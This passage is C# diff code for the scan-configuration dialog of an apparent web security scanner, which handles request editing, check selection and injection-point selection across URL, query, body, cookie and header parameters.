BaseTabs.SelectTab(2); + } + else + { + CurrentStep = 1; + BaseTabs.SelectTab(1); + } + } + + private void BaseTabs_Selecting(object sender, TabControlCancelEventArgs e) + { + if (BaseTabs.SelectedIndex != CurrentStep) + { + BaseTabs.SelectTab(CurrentStep); + MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); + } + else if ((ScanJobMode && CurrentStep == 2) || (!ScanJobMode && CurrentStep == 1)) + { + CheckAndUpdateInjectionPointsInUi(); + } + } + + + + #region Step0Actions + internal void SetRequest(Request Req) + { + this.RequestToScan = Req; + UpdateRequestInUi(); + + } + internal void SetFuzzer(Fuzzer Fuzz) + { + this.Fuzz = Fuzz; + this.SetRequest(Fuzz.OriginalRequest); + this.ScanJobMode = false; + this.ScanThreadLimitCB.Visible = false; + BaseTabs.TabPages.RemoveAt(1); + FinalBtn.Text = "Done"; + this.Text = "Configure Scan/Fuzz Settings"; + this.Step2TopMsgTB.Text = @"Select which parameters and sections of the Request must be scanned. + +You can either select all parameters or entire sections for scanning. Or go through the different tabs below and select the exact parameters you want be to scanned to perform a high precision scan."; + } + void UpdateRequestInUi() + { + this.RequestRawHeadersIDV.Text = this.RequestToScan.GetHeadersAsString(); + this.RequestRawBodyIDV.Text = this.RequestToScan.BodyString; + this.RequestRawBodyIDV.ReadOnly = this.RequestToScan.IsBinary; + this.RequestSSLCB.Checked = this.RequestToScan.SSL; + } + bool UpdateCurrentRequestFromUi() + { + if (this.RequestHeadersChanged) + { + try + { + byte[] Body = new byte[]{}; + if (this.RequestToScan != null) + Body = this.RequestToScan.BodyArray; + this.RequestToScan = new Request(this.RequestRawHeadersIDV.Text.TrimEnd(), this.RequestSSLCB.Checked); + this.RequestToScan.BodyArray = Body; + } + catch (Exception Exp) + { + ShowStep0Error(Exp.Message); + return false; + } + } + if(this.RequestBodyChanged) + { + if (this.RequestToScan == null) + { + ShowStep0Error("Invalid Request"); + return false; + } + else + { + try + { + this.RequestToScan.BodyString = this.RequestRawBodyIDV.Text; + } + catch (Exception Exp) + { + ShowStep0Error(Exp.Message); + return false; + } + } + } + if (this.RequestSSLCheckChanged) + { + if (this.RequestToScan == null) + { + ShowStep0Error("Invalid Request"); + return false; + } + else + { + this.RequestToScan.SSL = this.RequestSSLCB.Checked; + } + } + return true; + } + void ShowStep0Status(string Text) + { + this.Step0StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step0StatusTB.Visible = false; + } + else + { + this.Step0StatusTB.ForeColor = Color.Black; + this.Step0StatusTB.Visible = true; + } + } + void ShowStep0Error(string Text) + { + this.Step0StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step0StatusTB.Visible = false; + } + else + { + this.Step0StatusTB.ForeColor = Color.Red; + this.Step0StatusTB.Visible = true; + } + } + #endregion + #region Step1Actions + void ShowStep1Status(string Text) + { + this.Step1StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step1StatusTB.Visible = false; + } + else + { + this.Step1StatusTB.ForeColor = Color.Black; + this.Step1StatusTB.Visible = true; + } + } + void ShowStep1Error(string Text) + { + this.Step1StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step1StatusTB.Visible = false; + } + else + { + this.Step1StatusTB.ForeColor = Color.Red; + this.Step1StatusTB.Visible = true; + } + } + bool IsCheckSelectionOk() + { + foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) + { + if ((bool)Row.Cells[0].Value) return true; + } + ShowStep1Error("You did not select any checks. Atleast one check must be selected"); + return false; + } + + #endregion + #region Step2Actions + bool IsInjectionPointSelectionOk() + { + CheckAndUpdateParametersBlackList(); + UpdateInjectionPointLabels(); + if (AllPointsSelectedLbl.Text.Equals("0")) + { + ShowStep2Error("No injection points selected. Select atleast one injection point."); + return false; + } + return true; + } + void SetParametersBlackList() + { + ParametersBlacklistTB.Text = ""; + StringBuilder SB = new StringBuilder(); + foreach (string ParameterName in ParametersBlackList) + { + SB.AppendLine(ParameterName); + } + ParametersBlacklistTB.Text = SB.ToString(); + } + void SetCharacterEscapingRules() + { + if (Scanner.UserSpecifiedEncodingRuleList.Count == 0) + { + Scanner.UserSpecifiedEncodingRuleList.AddRange(Scanner.DefaultEncodingRuleList); + } + CharacterEscapingGrid.Rows.Clear(); + foreach (string[] Rule in Scanner.UserSpecifiedEncodingRuleList) + { + bool Selected = false; + foreach (string[] R in SelectedEncodingRules) + { + if (Rule[0].Equals(R[0]) && Rule[1].Equals(R[1])) + { + Selected = true; + break; + } + } + CharacterEscapingGrid.Rows.Add(new object[]{Selected, Rule[0], "->", Rule[1]}); + } + } + delegate void ShowStep2Status_d(string Text); + void ShowStep2Status(string Text) + { + if (InjectionPointBaseTabs.InvokeRequired) + { + ShowStep2Status_d SS_d = new ShowStep2Status_d(ShowStep2Status); + InjectionPointBaseTabs.Invoke(SS_d, new object[] { Text }); + } + else + { + this.Step2StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step2StatusTB.Visible = false; + } + else + { + this.Step2StatusTB.ForeColor = Color.Black; + this.Step2StatusTB.Visible = true; + } + } + } + delegate void ShowStep2Error_d(string Text); + void ShowStep2Error(string Text) + { + if (InjectionPointBaseTabs.InvokeRequired) + { + ShowStep2Error_d SE_d = new ShowStep2Error_d(ShowStep2Error); + InjectionPointBaseTabs.Invoke(SE_d, new object[] { Text }); + } + else + { + this.Step2StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step2StatusTB.Visible = false; + } + else + { + this.Step2StatusTB.ForeColor = Color.Red; + this.Step2StatusTB.Visible = true; + } + } + } + void CheckAndUpdateInjectionPointsInUi() + { + if (ShouldSetInjectionPoints) UpdateInjectionPointsInUi(); + } + void UpdateInjectionPointsInUi() + { + InjectionPointBaseTabs.Visible = false; + StepThreePreviousBtn.Enabled = false; + StepThreeNextBtn.Enabled = false; + Step2ProgressBar.Visible = true; + Step2StatusTB.Visible = false; + ShouldSetInjectionPoints = false; + Thread T = new Thread(SetInjectionPointsInUi); + T.Start(); + } + + delegate void UpdateInjectionPointLabels_d(); + void UpdateInjectionPointLabels() + { + if (InjectionPointBaseTabs.InvokeRequired) + { + UpdateInjectionPointLabels_d UIPL_d = new UpdateInjectionPointLabels_d(UpdateInjectionPointLabels); + InjectionPointBaseTabs.Invoke(UIPL_d, new object[] { }); + } + else + { + #region Names + int NamesPointsAvlCount = 4; + AllNamesPointsAvlLbl.Text = NamesPointsAvlCount.ToString(); + int NamesPointsSelectedCount = 0; + if (ScanQueryParameterNameCB.Checked) NamesPointsSelectedCount++; + if (ScanBodyParameterNameCB.Checked) NamesPointsSelectedCount++; + if (ScanCookieParameterNameCB.Checked) NamesPointsSelectedCount++; + if (ScanHeadersParameterNameCB.Checked) NamesPointsSelectedCount++; + AllNamesPointsSelectedLbl.Text = NamesPointsSelectedCount.ToString(); + #endregion + #region Headers + int HeaderPointsAvlCount = ScanHeadersGrid.Rows.Count; + int HeaderPointsSelectedCount = 0; + foreach (DataGridViewRow Row in ScanHeadersGrid.Rows) + { + if ((bool)Row.Cells[0].Value) HeaderPointsSelectedCount++; + } + AllHeaderPointsAvlLbl.Text = HeaderPointsAvlCount.ToString(); + AllHeaderPointsSelectedLbl.Text = HeaderPointsSelectedCount.ToString(); + #endregion + #region Cookie + int CookiePointsAvlCount = ScanCookieGrid.Rows.Count; + int CookiePointsSelectedCount = 0; + foreach (DataGridViewRow Row in ScanCookieGrid.Rows) + { + if ((bool)Row.Cells[0].Value) CookiePointsSelectedCount++; + } + AllCookiePointsAvlLbl.Text = CookiePointsAvlCount.ToString(); + AllCookiePointsSelectedLbl.Text = CookiePointsSelectedCount.ToString(); + #endregion + #region Body + int BodyPointsAvlCount = 0; + int BodyPointsSelectedCount = 0; + if (BodyTypeNormalRB.Checked) + { + BodyPointsAvlCount = ScanBodyTypeNormalGrid.Rows.Count; + foreach (DataGridViewRow Row in ScanBodyTypeNormalGrid.Rows) + { + if ((bool)Row.Cells[0].Value) BodyPointsSelectedCount++; + } + } + else if (BodyTypeFormatPluginRB.Checked) + { + BodyPointsAvlCount = BodyTypeFormatPluginGrid.Rows.Count; + foreach (DataGridViewRow Row in BodyTypeFormatPluginGrid.Rows) + { + if ((bool)Row.Cells[0].Value) BodyPointsSelectedCount++; + } + } + else if (BodyTypeCustomRB.Checked) + { + try + { + int CustomInjectionPointsCount = Int32.Parse(CustomInjectionPointsHighlightLbl.Text); + BodyPointsAvlCount = CustomInjectionPointsCount; + BodyPointsSelectedCount = CustomInjectionPointsCount; + } + catch + { + BodyPointsAvlCount = 0; + BodyPointsSelectedCount = 0; + } + } + AllBodyPointsAvlLbl.Text = BodyPointsAvlCount.ToString(); + AllBodyPointsSelectedLbl.Text = BodyPointsSelectedCount.ToString(); + #endregion + #region Query + int QueryPointsAvlCount = ScanQueryGrid.Rows.Count; + int QueryPointsSelectedCount = 0; + foreach (DataGridViewRow Row in ScanQueryGrid.Rows) + { + if ((bool)Row.Cells[0].Value) QueryPointsSelectedCount++; + } + AllQueryPointsAvlLbl.Text = QueryPointsAvlCount.ToString(); + AllQueryPointsSelectedLbl.Text = QueryPointsSelectedCount.ToString(); + #endregion + #region Url + int UrlPointsAvlCount = ScanURLGrid.Rows.Count; + int UrlPointsSelectedCount = 0; + foreach (DataGridViewRow Row in ScanURLGrid.Rows) + { + if ((bool)Row.Cells[0].Value) UrlPointsSelectedCount++; + } + AllUrlPointsAvlLbl.Text = UrlPointsAvlCount.ToString(); + AllUrlPointsSelectedLbl.Text = UrlPointsSelectedCount.ToString(); + #endregion + #region All + int AllPointsAvlCount = NamesPointsAvlCount + HeaderPointsAvlCount + CookiePointsAvlCount + BodyPointsAvlCount + QueryPointsAvlCount + UrlPointsAvlCount; + int AllPointsSelectedCount = NamesPointsSelectedCount + HeaderPointsSelectedCount + CookiePointsSelectedCount + BodyPointsSelectedCount + QueryPointsSelectedCount + UrlPointsSelectedCount; + AllPointsAvlLbl.Text = AllPointsAvlCount.ToString(); + AllPointsSelectedLbl.Text = AllPointsSelectedCount.ToString(); + #endregion + #region ParameterBlaacklist + BlacklistItemsCountLbl.Text = ParametersBlacklistTB.Text.Trim().Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries).Length.ToString(); + #endregion + } + } + + void SetInjectionPointsInUi() + { + SetUrlInjectionPointsInUi(); + SetQueryInjectionPointsInUi(); + SetBodyInjectionPointsInUi(); + SetCookieInjectionPointsInUi(); + SetHeaderInjectionPointsInUi(); + UpdateInjectionPointLabels(); + FinishUpdatingInjectionPointsInUi(); + } + delegate void SetUrlInjectionPointsInUi_d(); + void SetUrlInjectionPointsInUi() + { + if (InjectionPointBaseTabs.InvokeRequired) + { + SetUrlInjectionPointsInUi_d SUIPIU_d = new SetUrlInjectionPointsInUi_d(SetUrlInjectionPointsInUi); + InjectionPointBaseTabs.Invoke(SUIPIU_d, new object[] { }); + } + else + { + ScanURLGrid.Rows.Clear(); + List UPP = RequestToScan.UrlPathParts; + for (int i = 0; i < UPP.Count; i++) + { + ScanURLGrid.Rows.Add(new object[] { false, i, UPP[i] }); + } + if (RequestToScan.Query.Count > 0) + { + SetUrlPathPartMessage("Url has Querystring so path parts would require explicit selection."); + UrlPathPartRequiresExplicitSelection = true; + } + else if (RequestToScan.File.Length > 0) + { + SetUrlPathPartMessage(string.Format("Url ends with file extention - {0}, so path parts would require explicit selection.", RequestToScan.File)); + UrlPathPartRequiresExplicitSelection = true; + } + else + { + SetUrlPathPartMessage("Url does not have file extension or querystring, indicates possible use of URL rewriting."); + UrlPathPartRequiresExplicitSelection = false; + } + } + } + delegate void SetQueryInjectionPointsInUi_d(); + void SetQueryInjectionPointsInUi() + { + if (InjectionPointBaseTabs.InvokeRequired) + { + SetQueryInjectionPointsInUi_d SQIPIU_d = new SetQueryInjectionPointsInUi_d(SetQueryInjectionPointsInUi); + InjectionPointBaseTabs.Invoke(SQIPIU_d, new object[] { }); + } + else + { + ScanQueryGrid.Rows.Clear(); + foreach (string ParameterName in RequestToScan.Query.GetNames()) + { + foreach (string ParameterValue in RequestToScan.Query.GetAll(ParameterName)) + { + ScanQueryGrid.Rows.Add(new object[] { false, ParameterName, ParameterValue }); + } + } + } + } + void SetBodyInjectionPointsInUi() + { + SetDefaultBodyTabValues(); + SetBodyTypeNormalInjectionPointsInUi(); + if (RequestToScan.BodyLength == 0) + { + SetBodyTypeMessage("Request does not have a body"); + return; + } + if (FormatPlugin.IsNormal(RequestToScan)) + { + SetBodyTypeMessage("Request body looks to be of normal format"); + } + else + { + string FPName = FormatPlugin.Get(RequestToScan); + if (FPName.Length > 0 && FPName != "Normal") + { + string FormatPluginName = FPName; + FormatPlugin FP = FormatPlugin.Get(FPName); + string XML = FP.ToXmlFromRequest(RequestToScan); + string[,] XmlInjectionPoints = FormatPlugin.XmlToArray(XML); + SetBodyTypeFormatPluginInjectionPointsInUi(FormatPluginName, XmlInjectionPoints, XML); + SetBodyTypeMessage(string.Format("Request body format has been auto-detected as '{0}'", FormatPluginName)); + } + else + { + SetBodyTypeMessage("Request body format is not normal. Use the options under Body tab to handle the body injection."); + } + } + } + delegate void SetDefaultBodyTabValues_d(); + void SetDefaultBodyTabValues() + { + if (InjectionPointBaseTabs.InvokeRequired) + { + SetDefaultBodyTabValues_d SDBTV_d = new SetDefaultBodyTabValues_d(SetDefaultBodyTabValues); + InjectionPointBaseTabs.Invoke(SDBTV_d, new object[] { }); + } + else + { + if (CurrentStartMarker.Length == 0 || CurrentEndMarker.Length == 0 || CurrentStartMarker == CurrentEndMarker) + { + CurrentStartMarker = Scanner.DefaultStartMarker; + CurrentEndMarker = Scanner.DefaultEndMarker; + } + CustomStartMarkerTB.Text = CurrentStartMarker; + CustomEndMarkerTB.Text = CurrentEndMarker; + SetCustomInjectionPointsSTB.Text = RequestToScan.BodyString; + HighlightCustomInjectionPointsRTB.Text = RequestToScan.BodyString; + + BodyTypeFormatPluginGrid.Rows.Clear(); + FormatXMLTB.Text = ""; + FormatPluginsGrid.Rows.Clear(); + foreach (string Name in FormatPlugin.List()) + { + FormatPluginsGrid.Rows.Add(new object[]{false, Name}); + } + + ScanBodyTypeNormalGrid.Rows.Clear(); + BodyTypeNormalRB.Checked = true; + } + } + delegate void SetBodyTypeNormalInjectionPointsInUi_d(); + void SetBodyTypeNormalInjectionPointsInUi() + { + if (InjectionPointBaseTabs.InvokeRequired) + { + SetBodyTypeNormalInjectionPointsInUi_d SBIPIU_d = new SetBodyTypeNormalInjectionPointsInUi_d(SetBodyTypeNormalInjectionPointsInUi); + InjectionPointBaseTabs.Invoke(SBIPIU_d, new object[] { }); + } + else + { + ScanBodyTypeNormalGrid.Rows.Clear(); + foreach (string ParameterName in RequestToScan.Body.GetNames()) + { + if (ParameterName.Equals("Content-Length", StringComparison.OrdinalIgnoreCase)) continue; + foreach (string ParameterValue in RequestToScan.Body.GetAll(ParameterName)) + { + ScanBodyTypeNormalGrid.Rows.Add(new object[] { false, ParameterName, ParameterValue }); + } + } + BodyTypeNormalRB.Checked = true; + } + } + delegate void SetBodyTypeFormatPluginInjectionPointsInUi_d(string FormatPluginName, string[,] InjectionArray, string XML); + void SetBodyTypeFormatPluginInjectionPointsInUi(string FormatPluginName, string[,] InjectionArray, string XML) + { + if (InjectionPointBaseTabs.InvokeRequired) + { + SetBodyTypeFormatPluginInjectionPointsInUi_d SBIPIU_d = new SetBodyTypeFormatPluginInjectionPointsInUi_d(SetBodyTypeFormatPluginInjectionPointsInUi); + InjectionPointBaseTabs.Invoke(SBIPIU_d, new object[] { FormatPluginName, InjectionArray, XML }); + } + else + { + BodyTypeFormatPluginGrid.Rows.Clear(); + for (int i = 0; i < InjectionArray.GetLength(0); i++) + { + try + { + BodyTypeFormatPluginGrid.Rows.Add(new object[] { false, InjectionArray[i, 0], Tools.Base64Decode(InjectionArray[i, 1]) }); + } + catch + { + BodyTypeFormatPluginGrid.Rows.Add(new object[] { false, InjectionArray[i, 0], InjectionArray[i, 1] }); + } + } + FormatXMLTB.Text = XML; + foreach (DataGridViewRow Row in FormatPluginsGrid.Rows) + { + if (Row.Cells[1].Value.ToString().Equals(FormatPluginName)) + Row.Cells[0].Value = true; + else + Row.Cells[0].Value = false; + } + BodyTypeFormatPluginRB.Checked = true; + ScanBodyFormatPluginTypeTabs.SelectTab("BodyTypeFormatPluginInjectionArrayGridTab"); + } + } + delegate void SetBodyTypeCustomInjectionPointsInUi_d(); + void SetBodyTypeCustomInjectionPointsInUi() + { + if (InjectionPointBaseTabs.InvokeRequired) + { + SetBodyTypeCustomInjectionPointsInUi_d SBIPIU_d = new SetBodyTypeCustomInjectionPointsInUi_d(SetBodyTypeCustomInjectionPointsInUi); + InjectionPointBaseTabs.Invoke(SBIPIU_d, new object[] { }); + } + else + { + + string StartMarker = CustomStartMarkerTB.Text.Trim(); + string EndMarker = CustomEndMarkerTB.Text.Trim(); + if (StartMarker.Length == 0 || EndMarker.Length == 0) + { + ShowStep2Error("Start and End markers cannot be empty."); + return; + } + if (StartMarker.Equals(EndMarker)) + { + ShowStep2Error("Start and End markers cannot be the same."); + return; + } + int SSI = HighlightCustomInjectionPointsRTB.SelectionStart; + int SL = HighlightCustomInjectionPointsRTB.SelectionLength; + HighlightCustomInjectionPointsRTB.Text = SetCustomInjectionPointsSTB.Text; + bool CheckFurther = true; + int Pointer = 0; + //string Content = SetCustomInjectionPointsSTB.Text; + string Content = HighlightCustomInjectionPointsRTB.Text;//Using the text from RichTextBox as content instead of the TextBox since \r\n from TB is converted to \r in RTB and so the highlighting of markers is visually offset. This is done only for highlighting. + if (Content.Length == 0) + { + ShowStep2Error("No injection points detected."); + return; + } + int MatchCount = 0; + while (CheckFurther && Content.Length > Pointer) + { + int Start = Content.IndexOf(StartMarker, Pointer); + int Stop = -1; + if (Content.Length >= (Start + StartMarker.Length)) + Stop = Content.IndexOf(EndMarker, Start + StartMarker.Length); + if (Start == -1 || Stop == -1) CheckFurther = false; + if (CheckFurther) + { + HighlightCustomInjectionPointsRTB.SelectionStart = Start; + HighlightCustomInjectionPointsRTB.SelectionLength = (Stop + EndMarker.Length) - Start; + HighlightCustomInjectionPointsRTB.SelectionBackColor = Color.Orange; + MatchCount++; + } + Pointer = Stop + EndMarker.Length; + } + HighlightCustomInjectionPointsRTB.SelectionStart = SSI; + HighlightCustomInjectionPointsRTB.SelectionLength = SL; + + CustomInjectionPointsHighlightLbl.Text = MatchCount.ToString(); + if (MatchCount > 0) + ScanBodyCB.Checked = true; + else + ScanBodyCB.Checked = false; + CustomInjectionMarkerTabs.SelectTab("CustomMarkerDisplayTab"); + BodyTypeCustomRB.Checked = true; + } + } + delegate void SetCookieInjectionPointsInUi_d(); + void SetCookieInjectionPointsInUi() + { + if (InjectionPointBaseTabs.InvokeRequired) + { + SetCookieInjectionPointsInUi_d SCIPIU_d = new SetCookieInjectionPointsInUi_d(SetCookieInjectionPointsInUi); + InjectionPointBaseTabs.Invoke(SCIPIU_d, new object[] { }); + } + else + { + ScanCookieGrid.Rows.Clear(); + foreach (string ParameterName in RequestToScan.Cookie.GetNames()) + { + foreach (string ParameterValue in RequestToScan.Cookie.GetAll(ParameterName)) + { + ScanCookieGrid.Rows.Add(new object[] { false, ParameterName, ParameterValue }); + } + } + } + } + delegate void SetHeaderInjectionPointsInUi_d(); + void SetHeaderInjectionPointsInUi() + { + if (InjectionPointBaseTabs.InvokeRequired) + { + SetHeaderInjectionPointsInUi_d SHIPIU_d = new SetHeaderInjectionPointsInUi_d(SetHeaderInjectionPointsInUi); + InjectionPointBaseTabs.Invoke(SHIPIU_d, new object[] { }); + } + else + { + ScanHeadersGrid.Rows.Clear(); + foreach (string ParameterName in RequestToScan.Headers.GetNames()) + { + if (ParameterName.Equals("Host", StringComparison.OrdinalIgnoreCase) || ParameterName.Equals("Cookie", StringComparison.OrdinalIgnoreCase)) continue; + foreach (string ParameterValue in RequestToScan.Headers.GetAll(ParameterName)) + { + ScanHeadersGrid.Rows.Add(new object[] { false, ParameterName, ParameterValue }); + } + } + } + } + delegate void SetUrlPathPartMessage_d(string Message); + void SetUrlPathPartMessage(string Message) + { + if (InjectionPointBaseTabs.InvokeRequired) + { + SetUrlPathPartMessage_d SUPPM_d = new SetUrlPathPartMessage_d(SetUrlPathPartMessage); + InjectionPointBaseTabs.Invoke(SUPPM_d, new object[] { Message }); + } + else + { + UrlPathPartInjectionMessageLbl.Text = Message; + } + } + delegate void SetBodyTypeMessage_d(string Message); + void SetBodyTypeMessage(string Message) + { + if (InjectionPointBaseTabs.InvokeRequired) + { + SetBodyTypeMessage_d SBTM_d = new SetBodyTypeMessage_d(SetBodyTypeMessage); + InjectionPointBaseTabs.Invoke(SBTM_d, new object[] { Message }); + } + else + { + BodyInjectionMessageLbl.Text = Message; + } + } + delegate void FinishUpdatingInjectionPointsInUi_d(); + void FinishUpdatingInjectionPointsInUi() + { + if (InjectionPointBaseTabs.InvokeRequired) + { + FinishUpdatingInjectionPointsInUi_d FUIPIU_d = new FinishUpdatingInjectionPointsInUi_d(FinishUpdatingInjectionPointsInUi); + InjectionPointBaseTabs.Invoke(FUIPIU_d, new object[] { }); + } + else + { + InjectionPointBaseTabs.Visible = true; + StepThreePreviousBtn.Enabled = true; + StepThreeNextBtn.Enabled = true; + Step2ProgressBar.Visible = false; + Step2StatusTB.Visible = false; + } + } + void InjectAll(bool Inject) + { + if (Inject) + { + if (!UrlPathPartRequiresExplicitSelection) InjectUrl(Inject); + } + else + { + InjectUrl(Inject); + } + InjectQuery(Inject); + InjectBody(Inject); + InjectCookie(Inject); + InjectHeaders(Inject); + InjectNames(Inject); + } + void InjectUrl(bool Inject) + { + foreach (DataGridViewRow Row in ScanURLGrid.Rows) + { + Row.Cells[0].Value = Inject; + } + UpdateInjectionPointLabels(); + } + void InjectQuery(bool Inject) + { + foreach (DataGridViewRow Row in ScanQueryGrid.Rows) + { + if (Inject && UseBlackListCB.Checked && ParametersBlackList.Contains(Row.Cells[1].Value.ToString())) + continue; + else + Row.Cells[0].Value = Inject; + } + UpdateInjectionPointLabels(); + } + void InjectBody(bool Inject) + { + if (BodyTypeNormalRB.Checked) + { + foreach (DataGridViewRow Row in ScanBodyTypeNormalGrid.Rows) + { + if (Inject && UseBlackListCB.Checked && ParametersBlackList.Contains(Row.Cells[1].Value.ToString())) + continue; + else + Row.Cells[0].Value = Inject; + } + } + else if (BodyTypeFormatPluginRB.Checked) + { + foreach (DataGridViewRow Row in BodyTypeFormatPluginGrid.Rows) + { + Row.Cells[0].Value = Inject; + } + } + else if (BodyTypeCustomRB.Checked) + { + HighlightCustomInjectionPointsRTB.Text = ""; + CustomInjectionPointsHighlightLbl.Text = "0"; + CustomInjectionMarkerTabs.SelectTab("CustomMarkerSelectionTab"); + } + UpdateInjectionPointLabels(); + } + void InjectCookie(bool Inject) + { + foreach (DataGridViewRow Row in ScanCookieGrid.Rows) + { + if (Inject && UseBlackListCB.Checked && ParametersBlackList.Contains(Row.Cells[1].Value.ToString())) + continue; + else + Row.Cells[0].Value = Inject; + } + UpdateInjectionPointLabels(); + } + void InjectHeaders(bool Inject) + { + foreach (DataGridViewRow Row in ScanHeadersGrid.Rows) + { + if (Inject && UseBlackListCB.Checked && ParametersBlackList.Contains(Row.Cells[1].Value.ToString())) + continue; + else + Row.Cells[0].Value = Inject; + } + UpdateInjectionPointLabels(); + } + void InjectNames(bool Inject) + { + ScanQueryParameterNameCB.Checked = Inject; + ScanBodyParameterNameCB.Checked = Inject; + ScanCookieParameterNameCB.Checked = Inject; + ScanHeadersParameterNameCB.Checked = Inject; + UpdateInjectionPointLabels(); + } + #endregion + #region Step3Actions + void SetSessionPluginsCombo() + { + this.SessionPluginsCombo.Items.Clear(); + this.SessionPluginsCombo.Text = ""; + this.SessionPluginsCombo.Items.Add(""); + foreach (string Name in SessionPlugin.List()) + { + this.SessionPluginsCombo.Items.Add(Name); + } + + this.LoginRecordingComboBox.Items.Clear(); + this.LoginRecordingComboBox.Text = ""; + this.LoginRecordingComboBox.Items.Add(""); + foreach (string Name in Recording.Recording.GetNames()) + { + this.LoginRecordingComboBox.Items.Add(Name); + } + } + #endregion + private void RequestSSLCB_CheckedChanged(object sender, EventArgs e) + { + this.RequestSSLCheckChanged = true; + } + + private void RequestRawHeadersIDV_IDVTextChanged() + { + this.RequestHeadersChanged = true; + this.ShouldSetInjectionPoints = true; + } + + private void RequestRawBodyIDV_IDVTextChanged() + { + this.RequestBodyChanged = true; + this.ShouldSetInjectionPoints = true; + } + + void SetScanPluginsGrid() + { + this.ScanPluginsGrid.Rows.Clear(); + foreach (string Name in ActivePlugin.List()) + { + this.ScanPluginsGrid.Rows.Add(new object[]{false, Name}); + } + } + + private void SelectAllChecksCB_Click(object sender, EventArgs e) + { + foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) + { + Row.Cells[0].Value = SelectAllChecksCB.Checked; + } + } + + private void ScanPluginsGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (ScanPluginsGrid.SelectedRows == null) return; + if (ScanPluginsGrid.SelectedRows.Count == 0) return; + ScanPluginsGrid.SelectedRows[0].Cells[0].Value = !((bool)ScanPluginsGrid.SelectedRows[0].Cells[0].Value); + if (!(bool)ScanPluginsGrid.SelectedRows[0].Cells[0].Value) SelectAllChecksCB.Checked = false; + } + + private void ASApplyCustomMarkersLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + SetBodyTypeCustomInjectionPointsInUi(); + } + + private void BodyTypeNormalRB_CheckedChanged(object sender, EventArgs e) + { + ShowStep2Status(""); + if (BodyTypeNormalRB.Checked) + { + foreach (DataGridViewRow Row in ScanBodyTypeNormalGrid.Rows) + { + Row.Cells[0].Value = false; + } + ScanAllCB.Checked = false; + ScanBodyCB.Checked = false; + BodyInjectTypeTabs.SelectTab("BodyTypeNormalTab"); + } + } + + private void BodyTypeFormatPluginRB_CheckedChanged(object sender, EventArgs e) + { + ShowStep2Status(""); + if (BodyTypeFormatPluginRB.Checked) + { + foreach (DataGridViewRow Row in BodyTypeFormatPluginGrid.Rows) + { + Row.Cells[0].Value = false; + } + ScanBodyFormatPluginTypeTabs.SelectTab("BodyTypeFormatPluginInjectionArrayGridTab"); + ScanAllCB.Checked = false; + ScanBodyCB.Checked = false; + BodyInjectTypeTabs.SelectTab("BodyTypeFormatPluginTab"); + } + } + + private void BodyTypeCustomRB_CheckedChanged(object sender, EventArgs e) + { + ShowStep2Status(""); + if (BodyTypeCustomRB.Checked) + { + HighlightCustomInjectionPointsRTB.Text = ""; + CustomInjectionPointsHighlightLbl.Text = "0"; + CustomInjectionMarkerTabs.SelectTab("CustomMarkerSelectionTab"); + ScanAllCB.Checked = false; + ScanBodyCB.Checked = false; + BodyInjectTypeTabs.SelectTab("BodyTypeCustomTab"); + } + } + + private void ScanAllCB_Click(object sender, EventArgs e) + { + InjectAll(ScanAllCB.Checked); + if (ScanAllCB.Checked) + { + if (!UrlPathPartRequiresExplicitSelection) + { + ScanURLCB.Checked = ScanAllCB.Checked; + } + } + else + { + ScanURLCB.Checked = ScanAllCB.Checked; + } + ScanQueryCB.Checked = ScanAllCB.Checked; + ScanBodyCB.Checked = ScanAllCB.Checked; + ScanCookieCB.Checked = ScanAllCB.Checked; + ScanHeadersCB.Checked = ScanAllCB.Checked; + ScanParameterNamesCB.Checked = ScanAllCB.Checked; + } + + private void ScanURLCB_Click(object sender, EventArgs e) + { + InjectUrl(ScanURLCB.Checked); + if (!ScanURLCB.Checked) ScanAllCB.Checked = false; + } + + private void ScanQueryCB_Click(object sender, EventArgs e) + { + InjectQuery(ScanQueryCB.Checked); + if (!ScanQueryCB.Checked) ScanAllCB.Checked = false; + } + + private void ScanBodyCB_Click(object sender, EventArgs e) + { + InjectBody(ScanBodyCB.Checked); + if (!ScanBodyCB.Checked) ScanAllCB.Checked = false; + } + + private void ScanCookieCB_Click(object sender, EventArgs e) + { + InjectCookie(ScanCookieCB.Checked); + if (!ScanCookieCB.Checked) ScanAllCB.Checked = false; + } + + private void ScanHeadersCB_Click(object sender, EventArgs e) + { + InjectHeaders(ScanHeadersCB.Checked); + if (!ScanHeadersCB.Checked) ScanAllCB.Checked = false; + } + + private void ScanParameterNamesCB_Click(object sender, EventArgs e) + { + InjectNames(ScanParameterNamesCB.Checked); + if (!ScanParameterNamesCB.Checked) ScanAllCB.Checked = false; + } + + private void InjectionPointBaseTabs_Selecting(object sender, TabControlCancelEventArgs e) + { + if (InjectionPointBaseTabs.SelectedTab.Name.Equals("AllTab")) + UpdateInjectionPointLabels(); + } + + private void ScanURLGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (ScanURLGrid.SelectedCells.Count < 1 || ScanURLGrid.SelectedCells[0].Value == null) + { + return; + } + if ((bool)this.ScanURLGrid.SelectedCells[0].Value) + { + this.ScanURLGrid.SelectedCells[0].Value = false; + this.ScanAllCB.Checked = false; + this.ScanURLCB.Checked = false; + } + else + { + this.ScanURLGrid.SelectedCells[0].Value = true; + } + } + + private void ScanQueryGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (ScanQueryGrid.SelectedCells.Count < 1 || ScanQueryGrid.SelectedCells[0].Value == null) + { + return; + } + if ((bool)this.ScanQueryGrid.SelectedCells[0].Value) + { + this.ScanQueryGrid.SelectedCells[0].Value = false; + this.ScanAllCB.Checked = false; + this.ScanQueryCB.Checked = false; + } + else + { + if (UseBlackListCB.Checked && ParametersBlackList.Contains(this.ScanQueryGrid.SelectedCells[1].Value.ToString())) + { + ShowStep2Error("Cannot select parameter, it is part of the parameters black-list and use of parameter black-list is turned on."); + } + else + { + this.ScanQueryGrid.SelectedCells[0].Value = true; + } + } + } + + private void 